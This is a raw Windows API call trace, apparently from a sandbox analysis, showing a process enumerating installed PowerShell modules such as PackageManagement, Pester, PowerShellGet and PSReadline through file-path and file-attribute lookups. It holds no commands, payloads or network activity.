GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0159.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0159.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0159.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab97ff8 | out: lpFileInformation=0x1cbdab97ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0159.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0159.816] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0159.816] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0159.816] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0159.816] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0159.816] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0159.816] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0159.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0159.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0159.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0159.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2a24ad0 [0159.817] FindNextFileW (in: hFindFile=0x1cbf2a24ad0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.817] FindNextFileW (in: hFindFile=0x1cbf2a24ad0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0159.817] FindNextFileW (in: hFindFile=0x1cbf2a24ad0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0159.818] FindNextFileW (in: hFindFile=0x1cbf2a24ad0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.818] FindClose (in: hFindFile=0x1cbf2a24ad0 | out: hFindFile=0x1cbf2a24ad0) returned 1 [0159.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0159.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0159.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0159.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0159.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0159.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0159.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0159.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0159.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0159.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0159.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0159.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab9a370 | out: lpFileInformation=0x1cbdab9a370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0159.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0159.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0159.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0159.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0159.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0159.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0159.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0159.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0159.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0159.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0159.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab9a6e0 | out: lpFileInformation=0x1cbdab9a6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0159.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0159.819] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0159.819] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0159.819] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0159.820] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0159.820] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.ni.dll")) returned 0xffffffff [0159.820] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0159.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0159.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0159.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0159.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2a247d0 [0159.820] FindNextFileW (in: hFindFile=0x1cbf2a247d0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.820] FindNextFileW (in: hFindFile=0x1cbf2a247d0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918eb69b, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918eb69b, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0159.821] FindNextFileW (in: hFindFile=0x1cbf2a247d0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.821] FindClose (in: hFindFile=0x1cbf2a247d0 | out: hFindFile=0x1cbf2a247d0) returned 1 [0159.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0159.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0159.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0159.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0159.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0159.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0159.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0159.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0159.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0159.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0159.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0159.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab9c500 | out: lpFileInformation=0x1cbdab9c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0159.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0159.822] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0159.822] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0159.822] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0159.822] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0159.822] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0159.822] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0159.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0159.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0159.823] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0159.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2a24dd0 [0159.823] FindNextFileW (in: hFindFile=0x1cbf2a24dd0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.823] FindNextFileW (in: hFindFile=0x1cbf2a24dd0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1 [0159.823] FindNextFileW (in: hFindFile=0x1cbf2a24dd0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918eb69b, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918eb69b, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0159.824] FindNextFileW (in: hFindFile=0x1cbf2a24dd0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.824] FindClose (in: hFindFile=0x1cbf2a24dd0 | out: hFindFile=0x1cbf2a24dd0) returned 1 [0159.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0159.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0159.824] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0159.824] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0159.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 